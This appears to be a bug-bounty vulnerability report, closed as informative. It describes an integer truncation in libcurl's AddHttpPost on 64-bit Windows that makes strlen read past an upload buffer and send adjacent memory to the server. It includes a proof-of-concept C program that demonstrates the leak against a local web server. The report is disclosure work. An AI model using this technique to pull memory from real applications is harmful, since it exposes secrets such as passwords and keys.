Loading HuntDB...

Remote memory disclosure vulnerability in libcurl on 64 Bit Windows

High
C
curl
Submitted None
Reported by nsq11

Vulnerability Details

Technical details and impact analysis

Information Exposure Through Sent Data
# Remote memory disclosure vulnerability in libcurl on 64 Bit Windows ## Summary: `libcurl` (latest) contains a vulnerability that enables attackers to remotely read memory beyond the bounds of a buffer in the style of the infamous "heartbleed" vulnerability. Luckily, however, this is only possible when `libcurl` runs on 64 bit Windows and it requires an attacker capable of influencing the size of a file upload part. The core of the problem is the following: while on 64 Linux and BSD systems, `sizeof(long)` is 8, on 64 bit Windows, it is 4. Consequently, the function `AddHttpPost` carries out an integer truncation and sign conversion on these systems, as the parameter `bufferlength` of type `size_t` (8 byte wide, unsigned) is assigned to the field `post->bufferlength` of type `long` (4 byte wide, signed). The following excerpt shows the corresponding code: ``` static struct curl_httppost * AddHttpPost(char *name, size_t namelength, char *value, curl_off_t contentslength, char *buffer, size_t bufferlength, [...] struct curl_httppost **last_post) { [...] post->buffer = buffer; post->bufferlength = (long)bufferlength; /* <=== */ [...] } ``` In particular, this function is triggered when constructing an HTTP POST request that specifies custom file upload parts, e.g., with a statement such as the following: ``` curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "name", CURLFORM_BUFFER, "data", CURLFORM_BUFFERPTR, buffer, CURLFORM_BUFFERLENGTH, size, CURLFORM_END); ``` An attacker capable of choosing the file to upload may choose for it to be 4294967295 in size, and, indeed, `libcurl` will transfer this file without trouble on 64 bit Linux. On 64 bit Windows, however, this leads to `post->bufferlength` being -1 due to the truncation/sign-conversion, which happens to also be the value of the constant `CURL_ZERO_TERMINATED`. On posting the data, this undesirable interpretation causes the function `curl_mime_data` to assume that the length of the buffer to upload is not known and should be determined via `strlen`. Assuming the buffer does not contain zero bytes - and in fact, the documentation states that it MAY NOT contain zero bytes, `strlen` will read beyond the bounds of the buffer `buffer`, and subsequently transmit the buffer contents AND memory behind it to the HTTP server. The following (commented) excerpt of `curl_mime_data` illustrates this behavior: ``` CURLcode curl_mime_data(curl_mimepart *part, /* <=== */ const char *data, size_t datasize) { [...] if(data) { // This branch is triggered when `datasize` is -1, // Note that `datasize` is again `size_t`, so, it will // then be > 2**32-1. if(datasize == CURL_ZERO_TERMINATED) datasize = strlen(data); // With a system that has > 4GB RAM, this allocation // succeeds. part->data = malloc(datasize + 1); if(!part->data) return CURLE_OUT_OF_MEMORY; // The part size is now set to be larger than 2**32-1, // although 2**32-1 is the size of the file. part->datasize = datasize; ``` ## Steps To Reproduce: To further illustrate the problem, I have created a sample application for which the string "secret" is located directly after the to-be-transmitted buffer. On 64 bit Linux, the program correctly transmits only the contents of the buffer. On 64 bit Windows, it transmits the buffer contents and the string "secret". Logging network traffic using `tcpdump`, this has been confirmed as the attached screenshots show. The following is the sample program (test.c), which compiles both on Linux and Windows (Visual Studio 2022 Community Edition). ``` #include <stdio.h> #include <string.h> #include <stdlib.h> #include <curl/curl.h> int main(void) { CURL* curl; CURLM* multi_handle; int still_running = 0; struct curl_httppost* formpost = NULL; struct curl_httppost* lastptr = NULL; struct curl_slist* headerlist = NULL; static const char buf[] = "Expect:"; // Place 4294967295 'A's on the heap (the buffer to transmit), // followed by the string "secret". If we now instruct libcurl // to transfer 4294967295, it should only transfer 'A's. size_t size = (size_t) 0xffffffff; char* buffer = (char*)malloc(size + strlen("secret") + 1); memset(buffer, 'A', size); memcpy(buffer + size, "secret", strlen("secret")); buffer[size + strlen("secret")] = '\0'; // Instruct curl to send the buffer, specifying its size // to be 4294967295 (size) int ret = curl_formadd(&formpost, &lastptr, CURLFORM_COPYNAME, "name", CURLFORM_BUFFER, "data", CURLFORM_BUFFERPTR, buffer, CURLFORM_BUFFERLENGTH, size, CURLFORM_END); // The return value is 0 (success) printf("%d\n", ret); curl = curl_easy_init(); multi_handle = curl_multi_init(); headerlist = curl_slist_append(headerlist, buf); if (curl && multi_handle) { // We are uploading to a local webserver, but this can be any webserver. // upload.cgi can be an empty file. curl_easy_setopt(curl, CURLOPT_URL, "http://192.168.1.216/upload.cgi"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headerlist); curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost); curl_multi_add_handle(multi_handle, curl); do { CURLMcode mc = curl_multi_perform(multi_handle, &still_running); if (still_running) /* wait for activity, timeout or "nothing" */ mc = curl_multi_poll(multi_handle, NULL, 0, 1000, NULL); if (mc) break; } while (still_running); curl_multi_cleanup(multi_handle); curl_easy_cleanup(curl); curl_formfree(formpost); curl_slist_free_all(headerlist); } return 0; } ``` As suggested patch would be to use the type `long long` as opposed to `long` for the buffer length. `long long` is guaranteed to be 8 byte wide on Linux and Windows 64 bit systems. ## Impact An attacker could read memory from the process remotely, meaning that any information processed by the program using libcurl may be disclosed. Depending on the application, this information may be sensitive, e.g., passwords, keys could be in memory. In addition, reading memory offsets may be useful to identify memory mappings remotely in preparation for a memory corruption exploits that requires bypassing of ASLR.

Report Details

Additional information and metadata

State

Closed

Substate

Informative

Submitted

Weakness

Information Exposure Through Sent Data